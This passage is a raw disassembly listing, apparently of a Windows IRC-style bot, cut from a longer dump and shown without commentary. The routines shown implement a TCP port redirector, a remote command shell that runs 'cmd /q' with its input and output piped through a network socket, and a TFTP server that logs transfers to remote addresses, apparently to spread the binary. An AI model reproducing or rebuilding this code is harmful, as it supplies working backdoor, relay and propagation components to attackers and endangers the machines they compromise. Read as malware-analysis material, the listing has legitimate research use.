mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_441628
push eax
call sub_417CB0
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_409663
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_4495A4[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_40EC55
push esi
push esi
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_4495B4[ecx], eax
jnz short loc_40EC26
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_441670
call sub_40F99B
pop ecx
pop ecx
jmp short loc_40EC33
; ---------------------------------------------------------------------------
loc_40EC1E: ; CODE XREF: sub_40EAC5+164j
push 32h
call dword_4E033C ; Sleep
loc_40EC26: ; CODE XREF: sub_40EAC5+142j
cmp [ebp+var_30], esi
jz short loc_40EC1E
jmp loc_40EB75
; ---------------------------------------------------------------------------
loc_40EC30: ; CODE XREF: sub_40EAC5+63j
; sub_40EAC5+97j ...
mov edi, [ebp+arg_0]
loc_40EC33: ; CODE XREF: sub_40EAC5+157j
push edi
call dword_4D6700 ; closesocket
push [ebp+arg_0]
call dword_4D6700 ; closesocket
push [ebp+var_40]
call sub_409979
pop ecx
push esi
call dword_4E03A0 ; ExitThread
pop edi
pop esi
sub_40EAC5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EC55 proc near ; DATA XREF: sub_40EAC5+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_4181D0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+var_4], ebx
call dword_4D66E8 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_40EDB8
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_4D6668 ; ntohs
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4D66A8 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40ECE5
lea eax, [ebp+var_13C]
push eax
call dword_4D66EC ; gethostbyname
jmp short loc_40ECF3
; ---------------------------------------------------------------------------
loc_40ECE5: ; CODE XREF: sub_40EC55+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4D6620 ; gethostbyaddr
loc_40ECF3: ; CODE XREF: sub_40EC55+8Ej
cmp eax, edi
jz loc_40EDB8
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_4D6610 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40EDB8
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_4416B0
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_344]
push 18h
push eax
call sub_409663
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_4495AC[ebx]
mov dword_4495A4[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_4495B0[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_40EE3D
push edi
push edi
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_4495B4[ecx], eax
jnz short loc_40EDF1
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_4416F8
call sub_40F99B
pop ecx
pop ecx
loc_40EDB8: ; CODE XREF: sub_40EC55+44j
; sub_40EC55+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_4495AC[eax]
call dword_4D6700 ; closesocket
push [ebp+arg_0]
call dword_4D6700 ; closesocket
push [ebp+var_4]
call sub_409979
pop ecx
push edi
call dword_4E03A0 ; ExitThread
pop edi
pop esi
pop ebx
loc_40EDE9: ; CODE XREF: sub_40EC55+19Fj
push 32h
call dword_4E033C ; Sleep
loc_40EDF1: ; CODE XREF: sub_40EC55+14Ej
cmp [ebp+var_20], edi
jz short loc_40EDE9
mov ebx, 1000h
loc_40EDFB: ; CODE XREF: sub_40EC55+1E1j
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4D6680 ; recv
cmp eax, edi
jle short loc_40EDB8
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4D66B8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40EDFB
jmp loc_40EDB8
sub_40EC55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EE3D proc near ; DATA XREF: sub_40EC55+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_4181D0
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_40EE74: ; CODE XREF: sub_40EE3D+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_4495B0[esi]
call dword_4D6680 ; recv
test eax, eax
jle short loc_40EEBB
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_4495AC[esi]
call dword_4D66B8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40EE74
loc_40EEBB: ; CODE XREF: sub_40EE3D+61j
push dword_4495B0[esi]
call dword_4D6700 ; closesocket
push [ebp+var_14]
call sub_409979
pop ecx
push 0
call dword_4E03A0 ; ExitThread
pop edi
pop esi
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_40F02F
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_4495AC[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_4E0340
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_40F201
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_40EF49
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_441738
call sub_40F99B
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
xor eax, eax
jmp loc_40F029
; ---------------------------------------------------------------------------
loc_40EF49: ; CODE XREF: sub_40EE3D+EDj
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_40F29F
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_40EF8A
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_441780
call sub_40F99B
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call dword_4E0378 ; TerminateThread
xor eax, eax
jmp loc_40F02A
; ---------------------------------------------------------------------------
loc_40EF8A: ; CODE XREF: sub_40EE3D+123j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call dword_4E03F4 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_40EFE4
dec eax
jz short loc_40EFDE
dec eax
jz short loc_40EFCA
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_4417C8
call sub_40F99B
pop ecx
pop ecx
jmp short loc_40EFF9
; ---------------------------------------------------------------------------
loc_40EFCA: ; CODE XREF: sub_40EE3D+176j
mov edi, dword_4E0378
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_40EFF9
; ---------------------------------------------------------------------------
loc_40EFDE: ; CODE XREF: sub_40EE3D+173j
push ebx
push dword ptr [esi+10h]
jmp short loc_40EFE8
; ---------------------------------------------------------------------------
loc_40EFE4: ; CODE XREF: sub_40EE3D+170j
push ebx
push dword ptr [esi+14h]
loc_40EFE8: ; CODE XREF: sub_40EE3D+1A5j
call dword_4E0378 ; TerminateThread
push 1
push dword ptr [esi+8]
call dword_4E03BC ; TerminateProcess
loc_40EFF9: ; CODE XREF: sub_40EE3D+18Bj
; sub_40EE3D+19Fj
push dword ptr [esi+10h]
mov edi, dword_4E032C
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_4D6700 ; closesocket
push esi
call sub_415C20
xor eax, eax
inc eax
loc_40F029: ; CODE XREF: sub_40EE3D+107j
pop ecx
loc_40F02A: ; CODE XREF: sub_40EE3D+148j
pop edi
pop esi
pop ebx
leave
retn
sub_40EE3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F02F proc near ; CODE XREF: sub_40EE3D+AAp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_415090
mov esi, eax
pop ecx
cmp esi, edi
jz loc_40F119
mov ebx, dword_4E03C8
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, dword_4E032C
test eax, eax
jnz short loc_40F092
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_441800
jmp short loc_40F0B2
; ---------------------------------------------------------------------------
loc_40F092: ; CODE XREF: sub_40F02F+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_40F0BA
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_441840
loc_40F0B2: ; CODE XREF: sub_40F02F+61j
call sub_40F99B
pop ecx
jmp short loc_40F0E8
; ---------------------------------------------------------------------------
loc_40F0BA: ; CODE XREF: sub_40F02F+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_40F128
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_40F11D
push offset unk_441880
call sub_40F927
loc_40F0E8: ; CODE XREF: sub_40F02F+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_40F0F4
push [ebp+var_4]
call edi ; CloseHandle
loc_40F0F4: ; CODE XREF: sub_40F02F+BEj
cmp [ebp+var_8], 0
jz short loc_40F0FF
push [ebp+var_8]
call edi ; CloseHandle
loc_40F0FF: ; CODE XREF: sub_40F02F+C9j
mov eax, [esi]
test eax, eax
jz short loc_40F108
push eax
call edi ; CloseHandle
loc_40F108: ; CODE XREF: sub_40F02F+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_40F112
push eax
call edi ; CloseHandle
loc_40F112: ; CODE XREF: sub_40F02F+DEj
push esi
call sub_415C20
pop ecx
loc_40F119: ; CODE XREF: sub_40F02F+1Dj
xor eax, eax
jmp short loc_40F123
; ---------------------------------------------------------------------------
loc_40F11D: ; CODE XREF: sub_40F02F+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_40F123: ; CODE XREF: sub_40F02F+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_40F02F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F128 proc near ; CODE XREF: sub_40F02F+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_417700
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417700
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4E03C4
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call dword_4E03C0 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call dword_4E0330 ; CreateProcessA
test eax, eax
jz short loc_40F1E4
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_4495A8[eax], ecx
call dword_4E032C ; CloseHandle
jmp short loc_40F1FA
; ---------------------------------------------------------------------------
loc_40F1E4: ; CODE XREF: sub_40F128+9Aj
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_4418B0
call sub_40F99B
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_40F1FA: ; CODE XREF: sub_40F128+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_40F128 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F201 proc near ; DATA XREF: sub_40EE3D+DCo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
mov ebx, dword_4E03B8
push esi
push edi
mov edi, [ebp+arg_0]
jmp short loc_40F264
; ---------------------------------------------------------------------------
loc_40F218: ; CODE XREF: sub_40F201+7Bj
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_40F24D
loc_40F223: ; CODE XREF: sub_40F201+4Aj
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_40F23D
cmp dl, 0Dh
jz short loc_40F23D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_40F23D: ; CODE XREF: sub_40F201+2Cj
; sub_40F201+31j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_40F223
loc_40F24D: ; CODE XREF: sub_40F201+20j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4D66B8 ; send
test eax, eax
jle short loc_40F27E
loc_40F264: ; CODE XREF: sub_40F201+15j
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
call ebx ; ReadFile
test eax, eax
jnz short loc_40F218
loc_40F27E: ; CODE XREF: sub_40F201+61j
mov esi, dword_4E0350
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_40F29A
call esi ; RtlGetLastWin32Error
push eax
push offset unk_4418E8
call sub_40F99B
pop ecx
pop ecx
loc_40F29A: ; CODE XREF: sub_40F201+88j
pop edi
pop esi
pop ebx
leave
retn
sub_40F201 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F29F proc near ; DATA XREF: sub_40EE3D+112o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
jmp loc_40F398
; ---------------------------------------------------------------------------
loc_40F2BA: ; CODE XREF: sub_40F29F+10Ej
cmp [ebp+var_10], ebx
jbe short loc_40F2C7
dec [ebp+var_10]
jmp loc_40F39B
; ---------------------------------------------------------------------------
loc_40F2C7: ; CODE XREF: sub_40F29F+1Ej
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_40F383
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_40F337
cmp al, 7Fh
jz short loc_40F337
cmp al, 3
jnz short loc_40F2F2
push ebx
push ebx
call dword_4E03F8 ; GenerateConsoleCtrlEvent
jmp short loc_40F35E
; ---------------------------------------------------------------------------
loc_40F2F2: ; CODE XREF: sub_40F29F+47j
cmp al, 15h
jnz short loc_40F314
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_40F34A
; ---------------------------------------------------------------------------
loc_40F314: ; CODE XREF: sub_40F29F+55j
xor ecx, ecx
mov [ebp+esi+var_DC], al
inc esi
inc ecx
cmp al, 0Dh
mov [ebp+var_8], al
jnz short loc_40F34B
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_40F34A
; ---------------------------------------------------------------------------
loc_40F337: ; CODE XREF: sub_40F29F+3Fj
; sub_40F29F+43j
cmp esi, ebx
jbe short loc_40F361
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_40F34A: ; CODE XREF: sub_40F29F+73j
; sub_40F29F+96j
pop ecx
loc_40F34B: ; CODE XREF: sub_40F29F+85j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4D66B8 ; send
test eax, eax
jle short loc_40F3B3
loc_40F35E: ; CODE XREF: sub_40F29F+51j
mov al, byte ptr [ebp+arg_0+3]
loc_40F361: ; CODE XREF: sub_40F29F+9Aj
cmp al, 0Dh
jnz short loc_40F39B
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call dword_4E03B4 ; WriteFile
test eax, eax
jz short loc_40F3B3
xor esi, esi
jmp short loc_40F39B
; ---------------------------------------------------------------------------
loc_40F383: ; CODE XREF: sub_40F29F+34j
cmp [ebp+var_C], ebx
jnz short loc_40F391
mov [ebp+var_C], 1
jmp short loc_40F39B
; ---------------------------------------------------------------------------
loc_40F391: ; CODE XREF: sub_40F29F+E7j
mov [ebp+var_10], 0Ah
loc_40F398: ; CODE XREF: sub_40F29F+16j
mov [ebp+var_C], ebx
loc_40F39B: ; CODE XREF: sub_40F29F+23j
; sub_40F29F+C4j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4D6680 ; recv
test eax, eax
jg loc_40F2BA
loc_40F3B3: ; CODE XREF: sub_40F29F+BDj
; sub_40F29F+DEj
pop edi
pop esi
pop ebx
leave
retn
sub_40F29F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3B8 proc near ; CODE XREF: sub_40F3B8:loc_40F823p
; DATA XREF: sub_401C87+1CF2o ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = byte ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
var_574 = byte ptr -574h
var_374 = dword ptr -374h
var_370 = byte ptr -370h
var_26C = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
var_50 = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
xor ebx, ebx
push edi
xor eax, eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
inc eax
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call dword_4D66E8 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40F458
push 190h
call dword_4E033C ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_40F438
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_40764A
add esp, 14h
loc_40F438: ; CODE XREF: sub_40F3B8+5Bj
lea eax, [ebp+var_778]
push eax
call sub_40F927
push [ebp+var_168]
call sub_409979
pop ecx
pop ecx
push ebx
call dword_4E03A0 ; ExitThread
loc_40F458: ; CODE XREF: sub_40F3B8+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call dword_4D6648 ; setsockopt
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_4D6648 ; setsockopt
mov eax, [ebp+var_168]
push 10h
imul eax, 234h
push ebx
mov dword_4495AC[eax], esi
lea eax, [ebp+var_2C]
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_2C], 2
push [ebp+var_160]
call dword_4D6668 ; ntohs
mov [ebp+var_2A], ax
lea eax, [ebp+var_2C]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call dword_4D6694 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_40F4E2
push 1388h
call dword_4E033C ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_40F823
; ---------------------------------------------------------------------------
loc_40F4E2: ; CODE XREF: sub_40F3B8+10Fj
lea eax, [ebp+var_370]
push offset aRb_0 ; "rb"
push eax
call sub_4176E0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_40F548
push 190h
call dword_4E033C ; Sleep
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_40764A
lea eax, [ebp+var_778]
push eax
call sub_40F927
push [ebp+var_168]
call sub_409979
add esp, 1Ch
push ebx
call dword_4E03A0 ; ExitThread
loc_40F548: ; CODE XREF: sub_40F3B8+142j
; sub_40F3B8+425j
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_40F7E6
mov edi, 80h
lea eax, [ebp+var_D0]
push edi
push ebx
push eax
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call dword_4D6650 ; select
test eax, eax
jle loc_40F7DA
mov al, byte_4D93AC
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call dword_4D6640 ; recvfrom
push [ebp+var_38]
mov [ebp+var_8], eax
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_50]
push eax
call sub_417CB0
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_40F7C4
cmp [ebp+var_CF], 1
jnz loc_40F6D0
lea eax, [ebp+var_26C]
push eax
call sub_414EC0
push ebx
push ebx
push [ebp+var_4]
call sub_419FD0
push [ebp+var_4]
lea eax, [ebp+var_574]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h
push 1
push eax
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call sub_4173D0
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4D66CC ; sendto
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferSt ; "Tftp transfer started to: %s"
push eax
call sub_417CB0
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_40F6BE
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_40764A
add esp, 14h
loc_40F6BE: ; CODE XREF: sub_40F3B8+2E1j
lea eax, [ebp+var_778]
push eax
call sub_40F927
pop ecx
jmp loc_40F7DA
; ---------------------------------------------------------------------------
loc_40F6D0: ; CODE XREF: sub_40F3B8+257j
cmp [ebp+var_CF], 4
jnz loc_40F7C4
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_40F707
inc al
xor cl, cl
mov [ebp+var_575], bl
jmp short loc_40F70F
; ---------------------------------------------------------------------------
loc_40F707: ; CODE XREF: sub_40F3B8+341j
inc cl
mov [ebp+var_575], cl
loc_40F70F: ; CODE XREF: sub_40F3B8+34Dj
mov [ebp+var_576], al
mov edi, 200h
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, edi
push eax
push [ebp+var_4]
call sub_419FD0
push [ebp+var_4]
lea eax, [ebp+var_574]
push edi
push 1
push eax
call sub_4173D0
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4D66CC ; sendto
cmp edi, ebx
jnz short loc_40F7DA
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferCo ; "Tftp transfer complete to: %s"
push eax
call sub_417CB0
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_40F7AF
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_40764A
add esp, 14h
loc_40F7AF: ; CODE XREF: sub_40F3B8+3D2j
lea eax, [ebp+var_778]
push eax
call sub_40F927
inc dword_4D9170
pop ecx
jmp short loc_40F7DA
; ---------------------------------------------------------------------------
loc_40F7C4: ; CODE XREF: sub_40F3B8+24Aj
; sub_40F3B8+31Fj
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_441968
push esi
call dword_4D66CC ; sendto
loc_40F7DA: ; CODE XREF: sub_40F3B8+1E9j
; sub_40F3B8+313j ...
cmp [ebp+var_8], ebx
jg loc_40F548
mov edi, [ebp+arg_0]
loc_40F7E6: ; CODE XREF: sub_40F3B8+199j
push esi
call dword_4D6700 ; closesocket
push [ebp+var_4]
call sub_414F40
dec [ebp+var_164]
